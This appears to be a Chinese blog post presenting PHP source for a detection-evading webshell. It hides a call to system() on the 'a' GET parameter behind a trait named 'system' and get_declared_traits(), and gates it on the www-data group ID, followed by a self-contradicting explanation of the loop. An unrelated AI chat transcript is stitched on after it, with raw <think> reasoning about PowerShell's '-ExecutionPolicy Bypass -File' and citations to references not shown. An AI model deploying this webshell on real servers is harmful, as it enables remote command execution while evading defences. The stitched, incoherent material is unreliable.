bypass webshell--Trait

1 trait

源码

<?php
trait system{
}
$a= new JsonException($_GET['a']);
$c = "123";
$arr= getmygid();
$i=0;
for($i;$i<$arr;$i++){
 $i++;
 if($i<33 || $i>=34){
 continue;
 }
 $c=$a->getMessage();
 print(get_declared_traits()[0]($c));
}

JsonException这个一看就知道是处理异常的一个语句,一般到了异常类污点追踪就会停止,就会跳转到异常处理,进入异常,try....catch之类的,但是他并没有进入这个异常,就是没有进入catch处理,没有写这个,因为我拿的是www-data的权限,GID为33,所以循环里面判断的就是是否为www-data的权限,getmygid可以获取我的用户权限的GID,当获取到33时就跳出循环执行以下代码:

 $c=$a->getMessage();
 print(get_declared_traits()[0]($c));
}

这个代码他将a-》get到的值传递给了c,然后get_declared_tarits这个函数他是获取trait这个的所有定义的东西,也就是system,然后循环会扰乱waf的判断我觉得,因为我前面就获取到了GID为33,但是我的循环体是递增2,但是又是i++,所以当等于33时就会跳出,但是其实整个循环体循环完是34,只是先进行了赋值判断,再+1,不知道这个想法对不对

PHP 5 >= 5.4.0, PHP 7, PHP 8)

get_declared_traits — 返回所有已定义的 traits 的数组

说明:

get_declared_traits(): array 

  • getmygid()获取当前进程的组ID,通常返回一个整数值。
  • 循环从0开始,直到达到组ID值。
  • 内部条件if($i<33 || $i>=34)确保只有当i等于33时才会执行后续代码。

测试

对于我上面的想法我通过查阅发现明显不对:

  • 循环会执行很多次(直到 $i 增长到超过 $arr),但几乎所有迭代都会触发 continue,只有 一次 可能执行后续代码(当 $i 恰好等于 33 时);
  • 但 $i 是按步长 2 增长的(0→2→4→...→32→34→...),永远不会等于 33(32 之后直接到 34),所以 continue 之后的代码 永远不会执行
  • get_declared_traits()[0] 获取的是前面定义的空 trait system
  • trait 是 PHP 中用于代码复用的机制,不能像函数一样被直接调用(如 system($c) 是错误的,除非 system 是函数名(恰好就是函数))。

结论

当 $arr = 33 时,$i 会在值为 32 时进入循环体,内部自增到 33 后,因不满足 continue 的条件,从而执行了循环体中 “本以为不会执行” 的后续代码。之后循环更新使 $i 变为 34,导致下一次循环条件不成立,最终跳出循环。

这也解释测试现象:看似 “走不出去” 的循环,实际上在 $i 递增到 33 时,会执行一次后续代码,再通过循环更新退出循环。

<think> 首先,用户的问题是关于PowerShell中`-ExecutionPolicy Bypass -File`参数的使用方法、作用和应用场景。他们提供了几个引用,我需要参考这些引用来构建我的回答。 关键引用: - [^1]: 关于Set-ExecutionPolicy,解释了执行策略。 - [^2]: PowerShell启动方法。 - [^3]: 讨论了`powershell.exe -nop`选项,涉及绕过执行策略。 - [^4]: 具体提到了`Set-ExecutionPolicy RemoteSigned`和`powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1`。 - [^5]: 提到Unblock files,即使执行策略是RemoteSigned。 用户明确问的是`-ExecutionPolicy Bypass -File`参数,所以我需要集中在这个主题上。 **参数解释:** - `-ExecutionPolicy Bypass`:这用于绕过PowerShell的执行策略,允许运行脚本而不受限制。执行策略默认可能阻止脚本执行,比如在RemoteSigned下,未签名的脚本不能运行。 - `-File`:这用于指定要执行的脚本文件路径。 所以,组合起来,`-ExecutionPolicy Bypass -File script.ps1`的意思是:绕过执行策略限制,直接运行指定的脚本文件。 **使用方法:** - 在命令行中,输入:`powershell -ExecutionPolicy Bypass -File "C:\path\to\script.ps1"` - 或者,如果PowerShell已经运行,可以使用:`Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"C:\path\to\script.ps1`""` **作用:** - 允许运行脚本,即使系统的执行策略通常禁止它。 - 这是临时的;只影响当前命令的执行,不会永久改变系统设置。 - 从引用来,[^4]中说:"powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1",这表明在安装脚本时使用。 **应用场景:** 1. **运行未签名脚本**:当脚本未签名,但需要运行时(例如,下载的脚本)。 2. **系统管理任务**:在自动化部署或安装过程中,如[^4]提到的安装SSHD服务。 3. **安全测试**:管理员可能需要绕过策略进行诊断。 4. **绕过限制**:在开发或测试环境中快速运行脚本,而不改变全局策略。 参考引用: - [^1] 讨论了Set-ExecutionPolicy,这有助于理解背景。 - [^3] 提到防御方需要关注行为意图,暗示`-nop`(no profile)类似,但这里是`-ExecutionPolicy Bypass`。 - [^4] 提供了实际例子:`powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1`。 - [^5] 提到unblock files,可能相关,但更直接的是[^4]。 **回答结构:** 1. **介绍参数**:解释`-ExecutionPolicy Bypass`和`-File`。 2. **使用方法**:提供命令行示例。 3. **作用**:详细说明为什么使用它。 4. **应用场景**:列出常见情况。 5. **注意事项**:提醒安全风险,因为它可能被滥用(参考[^3])。 6. **生成相关问题**:根据系统指令,我需要生成相关问题。 系统指令: - 所有行内数学表达式用$...$,但这里没有数学,所以不需要。 - 独立公式用$$...$$,同样不适用。 - LaTeX语法正确:不相关。 - 使用中文回答:是的。 - 生成相关问题:在回答后添加。 - 引用的段落末尾添加引用标识:例如,[^1]。 用户可见层:回答结构清晰,逐步解决问题,真实可靠。 **大纲:** 1. **开头**:直接回答问题。 2. **解释参数**: - `-ExecutionPolicy Bypass`:绕过执行策略。 - `-File`:指定脚本文件。 3. **使用方法**:提供命令示例。 4. **作用**:为什么有用。 5. **场景**:实际例子。 6. **安全考虑**:基于[^3],提醒谨慎使用。 7. **结束**:总结。 8. **相关问题**:生成3-5个相关问题。 生成相关问题: - 基于主题:PowerShell执行策略、安全相关、其他参数。 - 例如: 1. 如何永久更改PowerShell执行策略? 2. `-ExecutionPolicy Bypass`有什么安全风险? 3. 还有其他方式运行受限脚本吗? 4. `-File`参数支持哪些文件类型? 5. 如何签名PowerShell脚本? 参考引用添加: - 在相关部分末尾添加,如[^4]提到例子时。 最终回答: </think> ### PowerShell 中 `-ExecutionPolicy Bypass -File` 参数的解释 用户的问题是关于 PowerShell 命令中的 `-ExecutionPolicy Bypass -File` 参数的使用方法、作用和应用场景。我将基于您提供的引用信息,逐步解释这个主题。PowerShell 的执行策略(Execution Policy)是一种安全机制,用于控制脚本的执行权限。默认情况下,策略如 `Restricted` 或 `RemoteSigned` 可能阻止未签名脚本运行,而 `-ExecutionPolicy Bypass` 参数可以临时绕过这些限制,结合 `-File` 参数直接运行脚本文件。以下是详细说明: --- #### 1. **参数的作用** - **`-ExecutionPolicy Bypass`**: 这个参数用于临时绕过 PowerShell 的执行策略限制。执行策略是 PowerShell 的安全设置,例如 `RemoteSigned`(只允许运行本地签名脚本或远程签名脚本)。`Bypass` 选项无视所有策略,允许运行任何脚本而不提示警告或错误。这是一种临时措施,不会永久更改系统设置[^4][^3]。 - **`-File`**: 这个参数指定要运行的脚本文件路径。它必须后接脚本文件的完整或相对路径(例如 `script.ps1`)。PowerShell 会加载并执行该文件[^4][^5]。 组合使用 `-ExecutionPolicy Bypass -File` 时,命令会**绕过执行策略限制,直接执行指定的脚本文件**。作用包括: - 允许运行未签名或来源不明的脚本(如从网上下载的文件)。 - 避免因执行策略导致的脚本执行失败。 - 适用于自动化任务或系统管理,但需注意安全风险(详见注意事项部分)[^4][^3]。 --- #### 2. **使用方法** 在命令行或 PowerShell 环境中,基本语法如下: ```powershell powershell -ExecutionPolicy Bypass -File "C:\路径\到\脚本.ps1" ``` - **详细步骤**: 1. **打开命令提示符或 PowerShell**: 可以通过 `cmd` 输入 `powershell` 启动,或在开始菜单搜索 “PowerShell” 启动[^2]。 2. **执行命令**: 输入完整命令,其中 `"C:\路径\到\脚本.ps1"` 替换为你的脚本文件路径。如果路径包含空格,必须用双引号包裹。 3. **示例**: 假设你有一个安装脚本 `install-sshd.ps1`,运行: ```powershell powershell -ExecutionPolicy Bypass -File "C:\scripts\install-sshd.ps1" ``` 这会绕过策略,直接执行安装脚本[^4]。 - **在脚本中嵌套使用**: 如果需要在另一个 PowerShell 脚本中调用此命令,可以使用 `Start-Process`: ```powershell Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"C:\scripts\install-sshd.ps1`"" ``` --- #### 3. **应用场景** 这个参数组合常用于以下情况(基于引用中的实际例子): - **运行未签名脚本**: 当脚本未签名(例如下载的第三方工具),但需要临时运行时。引用[^5]提到,`Unblocks files that were downloaded from the Internet`,即使用 `Bypass` 可以解除限制。 - **自动化部署和安装**: 在系统管理任务中,如安装服务(例如 SSH 服务器)。引用[^4]展示了 `powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1`,用于快速执行安装脚本,避免策略干扰。 - **开发和测试**: 开发人员测试脚本时,不想永久更改执行策略(`Set-ExecutionPolicy`),使用 `Bypass` 提供临时便利。 - **安全诊断或恢复**: 管理员在安全环境中诊断问题时,可能需要运行受限脚本(参考[^3],防御方需关注行为意图)。 --- #### 4. **注意事项** - **安全风险**: `-ExecutionPolicy Bypass` 可能被滥用运行恶意脚本(如特殊操作利用)。引用[^3]强调,防御方需要多层检测,不仅要监控参数本身,还要分析脚本行为。建议仅在可信环境中使用。 - **临时性**: 此参数只影响当前命令的执行,不会修改全局执行策略。永久更改策略应使用 `Set-ExecutionPolicy`(如 `Set-ExecutionPolicy RemoteSigned`)[^1][^4]。 - **最佳实践**: - 优先签名脚本以符合 `RemoteSigned` 策略。 - 在脚本路径中使用完整路径,避免错误。 - 对于生产环境,考虑使用更安全的替代方法,如 `-ExecutionPolicy RemoteSigned` 配合签名脚本。 --- #### 总结 `powershell -ExecutionPolicy Bypass -File` 是一个强大的工具,用于临时绕过执行策略并运行脚本文件。它在系统管理、自动化任务和开发中很实用,但需谨慎使用以防范安全风险。如果您需要永久修改执行策略,请参考 `Set-ExecutionPolicy` 命令[^1]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

fatsheep洋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值